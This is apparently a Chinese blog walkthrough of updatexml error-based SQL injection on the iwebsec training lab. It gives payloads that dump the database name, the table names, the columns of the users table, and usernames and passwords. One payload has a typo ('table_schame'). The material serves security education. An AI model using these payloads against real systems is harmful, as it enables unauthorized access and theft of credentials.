iwebsec-updatexml报错注入

原理分析

Updatexml()函数"updatexml(XML_document, XPath_string, new_value);"

参数 描述
XML_document String格式,为XML文档对象的名称,文中为Doc
XPath_string Xpath格式的字符串
new_value String格式,替换查找到的符合条件的数据

即sql语句为"select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1"

concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户

0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~

实战注入

1.判断是否存在漏洞,添加and 1=1# 页面正常回显,and 1=2# 页面回显异常,即存在sql注入漏洞

2.爆出数据库

复制代码
id=1 and (updatexml(1,concat('~',(select database())),3))#

3.爆出表

复制代码
id=1 and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schame=database())),3))#

4.爆出users表字段

复制代码
id=1 and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3))#

5.爆数据

复制代码
id=1 and (updatexml(1,concat('~',(select group_concat(username,',',password) from users)),3))#
相关推荐
芯盾时代11 小时前
AI在网络安全领域的应用现状和实践
人工智能·安全·web安全·网络安全
焚膏油以继晷,恒兀兀以穷年19 小时前
mysql 悲观锁和乐观锁(—悲观锁)
数据库·sql·mysql·悲观锁
在未来等你19 小时前
SQL进阶之旅 Day 15:动态SQL与条件查询构建
数据库·sql·csdn·动态sql·条件查询
热心市民☆20 小时前
Sql Server 中常用语句
数据库·sql·sqlserver
网安INF20 小时前
数据加密标准(DES)解析
java·网络安全·密码学·des
饮长安千年月21 小时前
玄机-第六章 流量特征分析-蚂蚁爱上树
windows·计算机网络·web安全·网络安全·系统安全·安全架构
饮长安千年月1 天前
JavaSec-专题-反序列化
java·开发语言·web安全·网络安全·系统安全·可信计算技术·安全架构
weixin_417759991 天前
简述MySQL 超大分页怎么处理 ?
数据库·sql·mysql
islandzzzz1 天前
SQL-为什么缺少 COUNT(*) 会导致总行数返回1
数据库·sql
Lx3521 天前
避免WHERE子句中使用函数的索引优化策略
sql·mysql·oracle